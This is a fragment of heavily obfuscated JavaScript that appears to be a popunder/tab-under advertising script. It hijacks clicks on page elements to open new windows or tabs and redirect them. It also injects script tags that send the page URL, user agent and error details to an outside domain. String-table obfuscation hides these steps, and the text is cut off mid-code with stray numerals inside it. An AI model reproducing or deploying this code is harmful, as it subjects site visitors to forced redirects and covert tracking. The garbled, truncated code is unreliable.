n=["ywrKrxzLBNrmAxn0zw5LCG","C0H0qxG","w1TKzw5PzwrDxq","C2nYB2XSyMfY","uLjls1C","CKLTu2e","zxzLBNrfBgvTzw50CW","Cg9Wtwv0Ag9KCW","uuPVEvu","C2nYAxb0","C3rHy2S","cLnPDhvHDgLVBJOG","cKnVzgu6ia","m0HMzwLrCG","BK1UAxy","ywjVDxq6yMXHBMS","BwvZC2fNzq","y29Uy2f0","yMvMB3jLt3bLBG","AgvPz2H0","l2PZzxjYp21ZzZ0","sxDizNy","AhjLzG","z2v0vg9WtgLUA0LUzM8","jNrHzZ1WB3a","BwvYz2vtzxr0Aw5NCW","t1HoDw4","t2rtt0G","lhrVB2XIyxi9","svLnvvy","otGZntDSDeHvs04","zg9uywi","CxPfthm","BNvSChe","C2vUzevYCM9Y","B2jQzwn0","Bg9JyxrPB24","Dg9VBgjHCG","AxrLCMf0B3i","EwvhDg8","sezcA2i","D2LKDgG","ms4W","Au5Ns0q","E3Tku0vYCM9Y","BgvMDa","x2jSyw5R","u2D2rvK","Dg9mB3DLCKnHC2u","qw91tuO","qNjVD3nLCG","D3LsAu4","r1DlrMy","ChjLCgfYzvbVCa","C2nYB2XSyMfYCW","lg1LBNvIyxi9","lhjLC2L6ywjSzt15zxmSC2nYB2XSyMfYCZ0","ChrLA3v3Aw55lNbYBW","Ag1yuLa","DgvZDa","lhrVCd0","Aw1N","C2fMyxjP","z3P1ALK","y3jLyxrLrwXLBwvUDa","vKTWtM4","mJeYodi2nNDnrNjpAW","cK1LC3nHz2u6ia","C2v0DgLUz3m","zg9qB3a","BgvUz3rO","uvHvAeW","x3nLBgy","cLvstdOG","mJbhrgLIuNu","mZi3nty4s2DxvLrv","qLbcD0O","EerevwO","BLfkCvC","u3rHy2S6ia","cK5HBwu6ia","Bw9IAwXLu2vUC2L0AxzL","zxzLBNrnzxrOB2q","nZHhELz6CvC","DvvNse0","y2XPy2S","zMfjsNa","CxvLCNLtzwXLy3rVCG","AgrvA1y","BMfTzq","qvfSuMi","AxntywzHCMK","DxDxzNO","C21evxq","BwvUDwjHCG","C2L0Dwf0Aw9U","jNvHpq","qwLQyLq","yKLTwNe","Aw5KzxHpzG","cLzLCNnPB246ia","mtb0BhrZr2m","AgvHza","DLbrAeC","wwHzyvO","Ce9nDuC","C3bSAxq","z2v0rwXLBwvUDhncEvrHz05HBwu","yxvmtgW","AxnoB3rjz25VCMvfBgvTzw50","l2PZAw5MBZ9TC2C9","r2XLsKi","zg9fDMvUDa","CLnjvey","mNW3Fdv8nNWWFdL8mxW0FdeWFdn8oa","vNPwvMC","DxjS","DMvYC2LVBG","DxjusLe","B2PVBxa","y29UC3rYDwn0B3i","wuT1s0m","C3jJ","lhDPzhrOpq","zM9YrwfJAa","BMv3vgfI","zgvSyxK","DNPrCwC","nde5odHTvKDzC0S","r3jHzvy","D2LUugfYyw0","mxW0Fdj8m3WWFdu","nda5mZi3nNnmBhjKCq","B1zzD1a","tg5QqKC","AgvPz2H0pq","zKXvsKe","Bw91C2vKB3DU","yLbtCwy","y1PXq08","DxnLCKfNzw50","y292zxjuywDZ","Dg9W","mta3odCYnff1Dfn3sq","mZu3mtKZBLjjvKrq","mhW1Fdj8m3WXFdq","DgfYz2v0","C2HVDwXKrMLYzq","yxnZAwDU","uLLKquy","cLbHCMvUDcbvuKXZoIa","cK1VCMuGAw5MBZOG","wxvhy2O","CgvYCgfNzq","u2vSEe8","rg9TywLUFx0","DxrPBhm","Bwf0y2G","B3bLBG","yMLUzfrV","DNjpru4","CKrkEKK","Cw5jANe","y2XPy2TLzevSzw1LBNq","E3Tku0vYCM9Yrg9TywLUFx0","y29UzMLN","AwDUB3jLvg8","yM9KEq","yMLUzev2zw50CW","u1HJwNm","yxbWzw5Kq2HPBgq","tNDxqwW","EefMwNK","ChjVDg90ExbL","vgvcrvq","uKzICuy"];return(a=function(){return n})()}e[u(225)]=c,e[u(366)]=d;var pop={settings:e,clickedElement:null,eventElements:[u(227)],eventMethod:u(373),prepare:function(n){var t=u,r={};r[t(301)]=t(289);var e=r;try{window[n]={},window[n]=Object[t(384)](window[n],this[t(243)])}catch(n){var i={};i[t(331)]=e.VKpNn,this[t(392)][t(270)](n,i)}},mergeSettings:function(n,t){var r=u,e={qnIjq:function(n,t){return n in t},RYdAF:function(n,t){return n(t)},AijbT:r(271),aeAlq:function(n,t){return n===t},vPQhG:function(n,t){return n(t)}};for(var i in t)e[r(222)](i,n)&&e[r(385)](_typeof,n[i])===e[r(333)]&&e.aeAlq(e[r(339)](_typeof,t[i]),e.AijbT)?this.mergeSettings(n[i],t[i]):n[i]=t[i];return n},doPop:function(n){var t=u,r={PETsr:t(381),bPSqf:function(n,t){return n+t},vrOEN:function(n,t){return n+t},hdUkV:function(n,t){return n+t},hmXRP:function(n,t){return n+t},uwWfz:function(n,t){return n+t},vzQqg:t(371),VMVtp:t(359),pUkiR:",left=",GWKFf:t(264),oVYwP:t(292),nQJqW:t(218),YhYaZ:"_blank",wyRiN:t(297),VzVVg:t(251),qzELs:function(n,t,r){return n(t,r)},NwWAl:t(305)};try{if(this[t(304)][t(366)].shouldFire())for(var e=r.PETsr.split("|"),i=0;;){switch(e[i++]){case"0":var o=r[t(374)](r.bPSqf(r[t(220)](r[t(374)](r[t(374)](r[t(220)](r.hdUkV(r[t(294)](r[t(374)](r[t(324)](r[t(328)](r[t(363)],this[t(304)][t(366)][t(255)]),r.VMVtp),this[t(304)].winParam[t(277)]),t(296))+this[t(304)][t(366)][t(378)],r.pUkiR),this[t(304)].winParam[t(281)]),r[t(288)]),this[t(304)][t(366)][t(273)]),t(291)),this[t(304)][t(366)][t(330)]),r[t(369)])+this[t(304)][t(366)][t(290)];continue;case"1":var a=window[r[t(314)]](c,r[t(340)],o);continue;case"2":var c=document[t(323)](r[t(287)]);continue;case"3":c=c?c[t(358)]:r[t(351)];continue;case"4":r[t(268)](setTimeout,(function(){a[t(272)].href=n}),1e3);continue;case"5":this.settings[t(366)].beforeOpen(n,this[t(304)][t(366)]);continue}break}}catch(n){var s={};s[t(331)]=r[t(231)],this[t(392)][t(270)](n,s)}},doTab:function(n){var t=u,r={sHtAx:t(218),ojomp:t(308),urTJQ:t(282),xAfZy:function(n,t,r){return n(t,r)},AWwgx:t(267)};try{if(this[t(304)][t(366)][t(383)]())if(this.settings[t(366)][t(254)](n,this[t(304)][t(366)]),this[t(304)].winParam.under)window[r[t(237)]](window[t(272)][t(258)],"_blank"),window[t(218)](n,r[t(355)]);else{var e=window[t(218)](window[t(272)][t(258)],r[t(354)]);r[t(232)](setTimeout,(function(){var r=t;e[r(272)][r(258)]=n}),1e3)}}catch(n){var i={};i[t(331)]=r.AWwgx,this[t(392)][t(270)](n,i)}},popMethods:{add:function(n,t){var r=u;return pop[r(304)].winParam[r(352)]=n,pop[r(261)](pop[r(304)][r(366)],t),this},config:function(n){var t=u;return pop.mergeSettings(pop[t(304)][t(225)],n),pop.bindEvents(pop.settings.winParam),this},getClickedElement:function(){return pop[u(223)]},getIgnoreElement:function(){var n=u;return pop[n(304)][n(225)][n(226)]},Browser:function(){var n=u,t=navigator[n(376)][n(284)](),r={isMobile:function(t){var r=n;return t[r(393)](/android/i)||t[r(393)](/webos/i)||t[r(393)](/iphone/i)||t[r(393)](/ipad/i)||t[r(393)](/ipod/i)||t.match(/blackberry/i)||t[r(393)](/windows phone/i)||t.match(/iemobile/i)||t.match(/opera mini/i)}(t),isWebkit:/webkit/gi[n(295)](t),isMozilla:/mozilla/gi[n(295)](t)&&!/(compatible|webkit)/.test(t),isChrome:/chrome/gi.test(t),isMsie:/msie/gi[n(295)](t)&&!/opera/.test(t),isFirefox:/firefox/gi.test(t),isSafari:/safari/gi[n(295)](t)&&!/chrome/[n(295)](t),isOpera:/opera|opr/gi[n(295)](t),isAndroid:/android/gi.test(t),isMacosx:/mac os x/gi[n(295)](t),isIos:/iphone|ipad|ipod/gi.test(t),isWinphone:/windows phone/gi[n(295)](t)};return r[n(353)]=r[n(298)]?(t[n(393)](/.+(?:ri)[\/: ]([\d.]+)/)||[])[1]:(t[n(393)](/.+(?:ox|me|ra|ie)[\/: ]([\d.]+)/)||[])[1],r}()},bindEvents:function(n){var t=u;try{this.prepareEventElements()[t(360)]((function(r){var e=t;if(pop[e(392)][e(345)](r)){var i=document[e(323)](r);i&&i[e(236)](pop.popMethods[e(286)][e(327)]?e(321):pop[e(318)],(function(t){pop.doEvent(t,n)}))}}))}catch(n){var r={};r[t(331)]=t(228),this.utils[t(270)](n,r)}},prepareEventElements:function(){var n=u,t={YKuKC:function(n,t){return n!==t}};return t[n(357)](this.settings.config[n(219)].length,0)&&(this[n(242)]=this[n(304)].config[n(219)]),t[n(357)](this[n(304)].config[n(377)][n(306)],0)&&(this[n(242)]=this.eventElements[n(253)](this[n(304)][n(225)][n(377)])),this[n(242)]},doEvent:function(n,t){var r=u,e={};e[r(329)]=r(348);var i=e;try{pop.clickedElement=n[r(382)],t[r(361)]?this[r(267)](t[r(352)]):this[r(305)](t.url)}catch(n){var o={};o[r(331)]=i.smDUt,this[r(392)][r(270)](n,o)}},utils:{isCoverElement:function(n){var t=u,r={};r[t(347)]=function(n,t){return n===t};var e=r;return!(0===pop[t(304)][t(225)][t(377)][t(306)]||e[t(347)](pop[t(304)].config[t(377)].indexOf(n),-1))},isNotIgnoreElement:function(n){var t=u;return{faIJp:function(n,t){return n===t}}[t(322)](pop.settings[t(225)][t(226)].length,0)||-1===pop.settings[t(225)][t(226)][t(335)](n)},sendError:function(n,t){for(var r=u,e={tRmbo:r(350),TeBET:function(n,t){return n+t},IYMUV:r(309),xDDUj:"head",yeGto:r(245),pjSUc:"[[denied]]",nMniv:function(n,t){return n+t},mNYDq:function(n,t){return n===t},RFbqF:r(280),bImZq:r(391),IwHfv:r(293),OXNun:r(256),AouMJ:function(n,t){return n(t)},auLLl:r(332),Inrow:r(260),QJoyU:function(n,t){return n!==t},cZqCO:function(n,t){return n+t},pOMuG:r(386),SelxO:function(n,t){return n+t},rImSa:function(n,t){return n+t},QXUhL:function(n,t){return n+t},ZXLXj:r(303),bBiDa:r(248),RqTYG:r(316),nulpq:r(247),pSHQm:function(n,t){return n||t},dAJHT:function(n,t){return n+t},OdSOH:"\nVersion: "},i=e.tRmbo.split("|"),o=0;;){switch(i[o++]){case"0":t.info&&(a+=e.TeBET(r(387),t.info));continue;case"1":a+=e[r(265)]+window[r(272)][r(258)];continue;case"2":var a,c=document[r(338)]||document[r(343)](e[r(313)])[0],s=document[r(300)](e[r(275)]),f=e.pjSUc;continue;case"3":s.src=e[r(234)](e[r(250)](e[r(234)](e[r(234)]("//"+(e.mNYDq("{{JSErrorDomain}}",e[r(234)](e[r(235)],e[r(334)]))?e[r(257)]:r(224)),e[r(262)])+e[r(285)](encodeURIComponent,a),e[r(344)]),e.AouMJ(encodeURIComponent,f)),e.Inrow);continue;case"4":e[r(244)](self,top)&&(a+=e[r(375)](e[r(341)],JSON.stringify(this[r(259)]())));continue;case"5":a=e[r(390)](e[r(241)](e[r(390)](e[r(307)](e[r(307)](e.cZqCO(r(315),n[r(246)]),e.ZXLXj)+n[r(252)],e.bBiDa),n.code),e.RqTYG),n[r(325)]);continue;case"6":t[r(331)]&&(a+=e[r(269)]+t[r(331)]);continue;case"7":t=e.pSHQm(t,{});continue;case"8":c[r(230)](s);continue;
289case"9":a+=e.dAJHT(e[r(263)],version);continue;case"10":try{f=navigator[r(376)]}catch(n){}continue}break}},sendInfo:function(n){for(var t=u,r={SXcZs:function(n,t){return n+t},RRKKW:function(n,t){return n+t},MhfGG:function(n,t){return n===t},LRTLt:t(224),iNgKD:function(n,t){return n+t},rDJzI:"Domain}}",AQlRb:"ptekuwiny.pro",BPBwJ:t(346),HFBkb:function(n,t){return n(t)},WZkul:t(332),YuGcj:"&tags=pop",GraeV:"script",rSITF:t(238),LnjBG:function(n,t){return n+t},UzlZc:t(336)},e=t(367)[t(342)]("|"),i=0;;){switch(e[i++]){case"0":o[t(358)]=r[t(229)](r[t(240)](r[t(229)](r[t(229)]("//",r.MhfGG(r.LRTLt,r[t(279)](t(280),r[t(221)]))?r[t(326)]:"{{JSErrorDomain}}"),r[t(312)])+r[t(276)](encodeURIComponent,a)+r.WZkul,r[t(276)](encodeURIComponent,c)),r[t(388)]);continue;case"1":var o=document[t(300)](r[t(365)]),a=n[t(252)],c=r[t(349)];continue;case"2":a+=r[t(370)](r.UzlZc,version);continue;case"3":a+=t(309)+window.location[t(258)];continue;case"4":try{c=navigator.userAgent}catch(n){}continue;case"5":document.head[t(230)](o);continue}break}}}};const src_pop=pop;function pop1stp_a(){var n=["DevOCfm","B250B3vJAg1VDMu","BgfZDfbHz2vuAw1LCG","zM9YrwfJAa","tLqZlJuX","r1LMuvK","mJyZmtq4m3PtrLPuwq","rxD2vKC","B25SB2fK","nNW0Fdj8m3WXFdb8nq","y29UDgfPBNm","C2vUzeLUzM8","ALvzyxi","rgvvtvy","wgfSsve","C2v0sxrLBq","x190Bg9W","q2Dfvxm","rfLmyLi","jNrHzZ1WB3a","tLqGnI4X","Dw9utfC","vuPRCg8","sgzdy1q","r2f4yLi","B25ZDg9YywDL","AxrLCMf0B3i","B25TB3vZzwrVD24","Bgf0zvzHBhvLC1vWzgf0zunICW","ENPOvMu","swXJCgC","AunsCha","CMvKDwnL","A2fKq0u","zwXLBwvUDa","yNv0Dg9U","AgvPz2H0","B3rOzxjcANm","ChvZAenVDw50zxi","DNvoDMm","yxbWzw5Kvg9cB2r5rIbgquLmoG","A0Hxt1q","qMnKuhy","CMD4","z3vnqLK","u09Uvui","AxnfBgvTzw50ug9WCgLUzW","C3jJ","rM1ACvu","BgXbDefZzefVBG","tePgCKC","tMzKqxq","vMPtEMC","zvLJsgu","tgPjsLi","m3WYFdb8nhWX","AgfwtNC","z2v0vMfSDwvZqxnqyxjHBxm","rfbdC1e","AgLcywe","B2fWC2u","C3rYAw5N","CKThzxi","zgL2","qNHeAgO","yMDmreW","y2fSBgjHy2TZ","C3nLCq","C2fMyxjP","AezuEKu","tK5jwxe","ALHODNG","DLLmrvK","zKfWDKG","BgHwDeC","nxWYFdb8nhWXFdm","mxWWFdj8nhWZ","mte1ndK4mejqu1zNBa","zg93BMXVywrmAw5R","x2LUAxq","mhWXFdn8mNW0","AxndBgLJA2fIBgvfBgvTzw50","Cg9WBNm","mI4W","C3LTyM9S","B25ZDwjTAxq","uMzPwwK","l2PZzxjYp21ZzZ0","rxjYB3iGAxmGBM90igfUig9IAMvJDcWGAxqNCYa","vxrPrvO","s3fQugi","z2v0sgfZAa","A2Tfr3C","DfDZA2m","BNbnBxK","CgfYC2u","cNrLC3rwywX1ztOG","zgTKBuu","lZqXmG","rNn2rhy","thDWwuC","Cur0yLm","zg9druy","qNjVD3nLCG","tervB2i","yunNsKu","DgfNtMfTzq","y29TCgXLDgu","zwXLBwvUDhm","CMvZDwX0","y2HHCKnVzgvbDa","EMXes2C","wMjethe","CgfYzw50C0rVBwfPBNm","rMzlrxu","CMToqKi","BMfTzxm","y2fUDMfZ","C1nHAfi","vvjJuhC","v2f0uNC","Cg9W","ywjJzgvMz2HPAMTSBw5VChfYC3r1DND4ExO","Bg9Hza","rxffr0i","D3rvy3C","C3rY","cMvYCM9YlMnVzgu6ia","qM1NDwW","z2v0t3DUuhjVCgvYDhLoyw1LCW","Cu52ALm","qK9yAKe","zMXVB3i","CKHREeK","wK9qELi","D0T6EuG","w2rHDgeTDg9Nz2XLpsjJB2XSyxbZzsjD","C2f2zvDPBMrVD09Wzw5uAw1L","BhnxAM4","oYbLlM5HBwuGlsa","z3jUC2O","ms4W","BgfZDefJDgL2zvrPBwu","Aw5ZDgfUDcbHzNrLCIbet01dB250zw50tg9HzgvK","BM9Kzu5HBwu","A0jxqNm","zKTqAgG","ChnMDq","wMfZrvG","vfLptLK","ywrKug9ZDgzPEfrVq291BNrLCNm","Aw5gCem","rgfnCxC","BhnKwKS","BwLZyW","vhDNzKi","Cu9ZuNO","reToBhm","yxbWzw5Kq2HPBgq","DgLTzq","CMvWCgfYDY1Kyq","tfDSrfe","B25TB3vZzw91Da","wuXAtuu","nxWXFdr8mhWZFdi","l2PZAw5MBZ9TC2C9","yLrry3m","vwLkshG","CvnjCKW","zMfRzujVzhK","uwL4qxy","AxnnB2jPBgu","yMzYv1i","shjcr3y","CNvUu2vZC2LVBK9WDgLVBG","DvLYtLq","uLzmBgO","C3rHDhvZ","ugP5BKW","ChvZAa","Eg9IlwvSChj1Cc15CMv0C29OzW","B25TB3PMDwXSC2nYzwvUy2HHBMDL","CeTdAuC","qvP6uNe","sgjYu3e","C2XPy2u","ugDtvKW","ywXYzwfKEu9Wzw4","mty3mdy0rvLgEK5i","BuH5uLq","u0LoAMC","ntbfu0z2vMK","B29RzeS","B250B3vJAgnHBMnLBa","AeHSBfy","twvjswS","zhbovem","mtC5mti4ohnrqKvJEa","Cg9PBNrLCG","nxb4","z2v0vMfSDwvZ","z09gCg4","Aw5UzxjizwLNAhq","y2HLy2TcyxjYAwvY","yMfYCMLLCG","svHSCKG","z2v0t3rOzxjcANm","Cgzrsuy","rg9mBuG","rg9TywLUFx0","oJO6DxjSoJO6","CMvTB3zLugfNzunVDw50zxi","reH3r0W","y2DhyNK","uvzOt2O","BwfQB3i","cLvstdOG","Axnet01fBgvTzw50","ueL3DNK","AhjLzG","zg9JDw1LBNqUyM9KEsbPCYbpsW","Axnby3rPDMu","CxHVBwm","vKvXzey","t1vmuu0","rxjYB3iGAw4GywrKrw1IzwqU","CMvTB3zLrwXLBwvUD
289a","BuLWsMS","AwfIyW","tKn2CvK","AgfZAgnOyw5Nzq","vMnUqNi","wevxuuO","B25Nzxn0DxjLC3rHCNq","ywDssLe","yLj3Exm","BufXENa","ANndEhC","vwjtuwe","mJaWma","ChnVBNnW","teHzuuC","Aw5Uzxjive1m","DKvLv24","y2XHC3noyw1L","yKzKDLe","CMvTB3zLugfNzunVDw50zxjZ","yKfuDgq","Aw5PDa","C2fMzq","AxnvCMXtDg9WCgLUzW","zvvhEvC","AgfZt3DUuhjVCgvYDhK","mNrUAxjWCMvNBMLg","DxjS","CgfNzq","Eu1kExC","tLqGns4X","Dw5Kzxi","B25RzxL1Ca","uNzUwxG","cK1LC3nHz2u6ia","ANDRrfu","rLbwD2y","AvbUqKu","BM9pCgvUzxjiAwPHy2TPBMC","C2nYzwvUtgvMDa","AM9PBG","AwPHDge","cL9PC0f2ywLSywjSzs5TzxnZywDLoIa","m3WWFdr8mNW4Fdf8nNW3Fdu","BMf2AwDHDgLVBG","C3rVCfvYBhm","vuHIruW","y2f0y2G","w2rHDgeTDg9Nz2XLpsjKCM9Wzg93BIjD","DxnLCKfNzw50","z2v0v2LUzg93t3bLBLrPBwu","v2LUzg93CW","ChnKru0","B25TB3vZzxvW","zfrhuNG","zwPlz28","AgfZAgvK","tuDJs3y","Aw5JBhvKzq","BuPcuKu","C3bSAxq","tw9IAwXLifnHzMfYAq","AwvHrgm","v1LTy3m","yMLiyxm","rMzxu3y","swrMtNe","Bwf4","u2HtEwi","EK1Wwu4","tLqGnc4W","mxWZFdb8mNW0","EvPMEfa","suXHBLq","zhnLCq","tLqGnI4Y","z2v0u2nOzw1Lu2vX","DvjMqw8","A2f6Exe","Bg9JywXdB3vUDgvYCW","zgPJwLe","tgT5qLm","AxnuzxH0tgLUA09Yu2LTAwXHCG","rMLYzwzVEcbpuW","rLDvrhC","AK1WqMO","zgKTzge","AuDWrwi","AK1MzfG","v0rhBw4","yxbWzw5KrwXLBwvUDa","yMLUza","DMvItxy","v1fhveC","ywrKrw1Izwq","we9ptNy","v3zXywK","rfreAuu","vfLqrv9sruXpquq","yNrRrxy","zMfSBgjHy2TuB1bVChvW","DxrPBhm","vhfpD2S","DMLKzw8","Eg5luxe","zML4zwq","v1bTu2i","nc45ma","zxHJBhvKzq","B25RzxLKB3DU","uMvZDwX0oIbuuLvflIbezxrHAwXZoIbLlMLZre9nrxHJzxb0Aw9Uic0G","ywXSB3DqB3a","CgfYzw50tM9Kzq","BxvSDgLWBgvuywjZ","Aw5JrgfPBhLtzxe","x2LZqxzHAwXHyMXL","Dgz3qK0","ota5mtyXwLvlvunN","vuLure0","Bwf0y2HLCW","D21xtLK","u0jnvu0","CvDKBLO","z2v0q29UDgv4DeHYzwy","DwHgy3C","z2v0ugfNzuzSywDZ","v3znzKG","DKzSvfK","y291BNrLCK5HBwu","y2HHBMDLuhjPB3jdBgfZCW","B25SEunSAwnRywjSzq","CgfNzuDYB3vW","BgfZDfrPBwvY","D2LUzg93","Aw5Ju2nOzw1Lu2vX","x19FzgvM","zxzrCfG","twfJie9tifG","y291BNrLCNm","C3PQtg4","tMvIBhu","ms4Z","AK5ivgK","AgfZ","C2nYAxb0","D2fKCwm","tLqGnI4Z","BMf2AwDHDg9Y","zevmt1i","y2fSBa","AxnqywDLBgLTuMvHy2HLza","yu51y2e","C2v0","zM9Yy2vqB3b1Ca","oYbLlMnVzguGlsa","C3vIC2nYAwjL","BMLMz2C","s2H3uMi","r0Phq3a","sNLxuwm","DhjPBq","vg91y2G","weXmrwq","Dg9mB3DLCKnHC2u","B25TB3PMDwXSC2nYzwvUzxjYB3i","z2v0","teDpsw4","BLrhrvC","qwvQweW","y0vpvKi","y29VA2LLrw5HyMXLza","zu5NtgW","Axnby3rPDMvfBgvTzw50","x19JBNrT","y2HLy2TnDxrHDgLVBG","nhW2Fdn8mNWXFdb8nq","tKrrD1G","A2v5D29Yzhm","Bvrjwwy","vgrnywG","vM9Py2m","rujWv3i","D2LKDgG","C2L0Dwf0Aw9U","zhz0yM4","uwfjDK4","zxDHrg4","y2XPzw50sgvPz2H0","yxvKAw8","BhPTA2S","CgfYzw50","AhjhvKG","mhWZFdf8mNW0","x19ODgfWB3a","EeP6B28","w2nVBNrLBNrLzgL0ywjSzv0","z2v0v2LUzg93vgLTzxjoyw1L","Bxvrrue","zgv0ywLSCW","C2vUzevYCM9Y","DNvdseO","CMv0DxjUia","rMLjwvK","zxHWAxjL","zgvSyxLqB3a","qMn1u3q","BuPRBM8","CgfNzwXPBq","B1DdqLG","BxzjAfC","uvHTAwm","A0ztBxG","z2L4suO","BgfZDe9Wzw5uAw1L","C25WB3a","DxrPBa","AMr4r1m","Dw5KzwzPBMvK","ChbNufq","Cg9WDw5Kzxi","CMvMzxjYzxi","mI4WlJq","AhnhuKW","CgfYzw50C1jLzMvYCMvYCW","AwzYyw1LugfNzq","B25RzxLWCMvZCW","CgvYAw9K","BM90igLUC3rHBNqGywz0zxiGre9nq29UDgvUDeXVywrLza","y292zxjty3jVBgXIyxi","v21lq1e","wLfbvgi","y2fSBfjLCxvLC3q","Aw5ZDgfUDa","whfPyve","C2vZC2LVBG","yxnZAwDU","ChjPB3i","su13C3G","Dgv4DenVBNrLBNq","x3n0B3jHz2vfDMvUDa","zg9TywLU","wu1lDhK","wuLAs1e","uLL4r3q","cLnPDhvHDgLVBJOG","zgLZDgfUy2u","Aw5Ju2nOzw1Lq2XPy2TZ","z05hsfi","tLqGmY4Xmq","weLuq1u","rgf0zq","AwDUB3jLvg8","uwfkq04","Bg9HzgvKvgLTzq","BwvKAwe","rxjYB3iGAw4GChjPB3jglG","t2LQu1K","qwfTuvi","Aw5Jug9Wq291BNrLCNm","Aw5ZDgfUy2vVzIboB2rLiq","vMDYAve","cLn0ywnRoIa","CuzLEuW","DuvkBLO","yMLUzeLUy1nJAgvTzunSAwnRCW","yxbWBgLJyxrPB24VAMf2ys1KzxbSB3LTzw50lxrVB2XRAxq","vKrIsve","lZqXnW","B250B3vJAgzVCMnLy2HHBMDL","AwDL","AxnfBgvTzw50","q1rWvg0","Dg9tDhjPBMC","BNzqqM4","zhvArMy","mc05odC2ntqZmJeTzgeTDhbNlxzPza","CgL4zwXZ","ywz0zxjpCgvU","qKLwDu8","AxnrDhLszwfJAgvK","cMvYCM9YlM5HBwu6ia","rMD6ueG","wfrcD3y","BLzSv08","vMvHBuq","zMLUze11BhrPCgXLvgfICW","z2v0q2XPy2TLzevSzw1LBNq","txrdsge","wuTSr24","twvZC2fNztOG","B25MB2n1CW","v2X1s0q","CvnJrw8","thDirKu","BwLTzvr5CgvZ","y29VA2LL","yK5MzNq","z2v0sxrLBq","B2XKC2fMyxjP","zxzLBNruyxjNzxq","y2fSy0nVDw50zxi","oc4X","uNHvANu","C2nYzwvUvg9W","uvbmwvK","BKjUEK4","qvPJyK8","A2v5CW","s0fisge","yxv0B2jPBMq","pxrTyG","wwfUzgv4","z2v0rwXLBwvUDej5swq","CMfUzg9Tu3rYAw5N","wxjWvxe","CgLJDhvYzq","u2zvr20","B25JB250zxH0BwvUDq","qLvyugu","mISY","uvLwCfe","nty4ndDvBfvNtfm","y291BNrLCLbVC3rMAxHLCW","tNvSBa","DgP5uwC","y29UDgfPBMvY","C2nYzwvUwa","yxD3ALC","B25xtha","Dw5ZAgLMDa","C2nYAxb0w3nYyYO9iG","DwPmqxC","BMv3vgfI","yxbWBhK","DgzUr1u","tMjYzwq","mJaWjq","quHVDLK","Aw50zxj2ywXZ","AxnuAhvTyM5HAwXmAw5R","zw5VwMrKyq","qNjxD00","EgzjseO","B2rKzwe","Aw5WDxq","A3vVD3y","y291BNrLCG","AxncBg9JA2vKqNLeAxn0yw5Jzq","y2jNDha","C3rVCMfNzq","zvfys1m","s29lA2e","A2v5","Aun6t2u","oYbZDg9YywDLlMXLBMD0AcaTia","C2vZC2LVBKv4CgLYyxrPB24","cK1VCMuGAw5MBZOG","z2v0q291BNrLCKrHDgfcEunVBNrLEhq","C2v0DgLUz3m","EKPuB2W","EwtqVMi","rwjiAg0","u0vlAK4","z2v0q29TChv0zwrtDhLSzq","AxnnyxHszwfJAgvK","ELjfBxy","yM9KEq","C2v0q291BNrLCG","EeXHChu","cKnVzgu6ia","x19PywjJ","u1rzteu","AxndAhjVBwu","B25Jzq","BhL3qLC","C2nOzw1L","ref6rxa","q21RBxy","C3rYAw5NAwz5","wLfdvwG","CNPYEe0","qLv3s0C","z0HZsxi","y3rZqLa","z3b5CMO","v1vfrLa","BwfW","y29UDgvUDa","wgLPA2W","B2jZzxj2zq","qNbdwwO","EKzotNK","q2HYB21L","q2TXr1i","DujLDxi","m3WYFdr8mxWW","BMDdDwC","yMrwyxi","y2fSBgjHy2S","zgLZDgfUy2vZ","C2vUza","v0zOCgm","ze1xDLi","yNjVD3nLCG","sNPRzeW","rwHhrum","cM5HBwu6ia","CM91BMq","wMv4B20","r2rgswe","Cu1VDwi","wKvptfG","B25PBNb1Da","z2v0rwXLBwvUDhncEvrHz05HBwu","B25JBgLJAW","vhHzsva","ywrKugL4zwW","y2XPy2TLzevSzw1LBNq","CMvZzxrdrq","C2nOzw1Lq2XPy2TZ","BwvZC2fNzq","EMPZA3a","A2nVuLO","teftwhi","BgvMDa","lZqXoq","zgLZCgXHEq","B25IBhvY","Agvdzha","BNvTyMvY","zwfVzKW","oYb0ExbLoIa","z2v0u2nOzw1Lq2XPy2TZ","rNvUy3rPB24","AwzYyw1LlxbHz2u","BgvUz3rO","ENrAD08","t2jnCMS","B250B3vJAa","C2nYzwvUwq","yuLiD3m","tLqGns4W","C2vSzwn0","z2v0ugfNzunVDw50zxi","suT0y0m","vMf1ChK","BgfZDa","qM5YDwy","E3Tku0vYCM9Yrg9TywLUFx0","qwv6wu8","Bu1oBwC","yxPKzLa","vwTxufy","rLn1yKO","DgLTzw91Da","uwjOu3u","ue9irLm","C2v0qxr0CMLIDxrL","Aw5PDgLHBgL6zq","y2HLy2TtzxnZAw9U","Aw1N","s3nWEgG","w1TKzw5PzwrDxq","ngDlre1IrW","CgfYzw50rwXLBwvUDd8","AMzIy1q","Cg9WDxa","CwfzsKW","B1PgBKK","yxbWzw5Kvg9cB2r5","q3r2y1q","B3bLBG","Bezmyxi","vePtC2m","C2f2zvDPBMrVD0fJDgL2zvrPBwu","qMH5CNu","DgDPv0i","uKvuCNm","Dg9W","CgfYzw50rwXLBwvUD
289a","zgfPBhLtzxe","Bhb5s1m","mI4WlJm","u29SyxjPCW","DxH4CNK","CNDKuM4","zNvSBhnJCMvLBG","C2nOzw1Lu2vX","t3bLCMe","y29Kzq","z2v0ug9WvxjS","vMLZDge","y3jLyxrLrwXLBwvUDa","C2rbCg9q","y2XPzw50v2LKDgG","AurTre0","B3fMCw8","x19ZDg9YywDLx3rLC3rFxW","ufLjDhC","sgjxCxm","Aw5UzxjxAwr0Aa","wvvXrgO","zg9JDw1LBNq","y292zxjuywDZ","DxbKyxrLv2LUzg93t3bLBLrPBwu","y01OB0K","BhzbzvK","z2v0q291BNrLCG","n3W4FdeWFdv8nhW5Fdj8nNWZFdb8mq","CufwBNu","z2v0q291BNrLCLzHBhvL","Bun6D0i","E3Tku0vYCM9Y","mdaWmdaWmda","oYbMCM9ToIa","C3vIC3rY","w29IAMvJDcbbCNjHEv0","EMHTuwW","tg15Ae0","Dhj1zq","Cgf0Ag5HBwu","ywrKu2nYAxb0","nLHYBeXHta","uNrUwu0","y05ns1e","mtzhzgr0vMm","CMvWBgfJzq","CNftBgq","cNzHBhvLoIa","ywn0DwfSAxPLq291BNrLCG","ChjPB3jcANm","yw5Jzxn0B3jpCMLNAw5Z","qLrOBeG","B250B3vJAgvUza","uKnvqMC","EujPAfm","A2nVBgjKyv9LBgjHC2LKx2vJCM9M","sfHvCu8","re9nq29UDgvUDeXVywrLza","qwLYvwC","cLzLCNnPB246ia","Axb6y0e","ChDyrg0","ywrKrxzLBNrmAxn0zw5LCG","Dgv4DgfYzwe","s1bSwhi","DMvYC2LVBG","CM1byKK","BwLUBNm","DgLTzxn0yw1W","AvvMzfC","zNjLCq","CMvZzxrty2HLBwv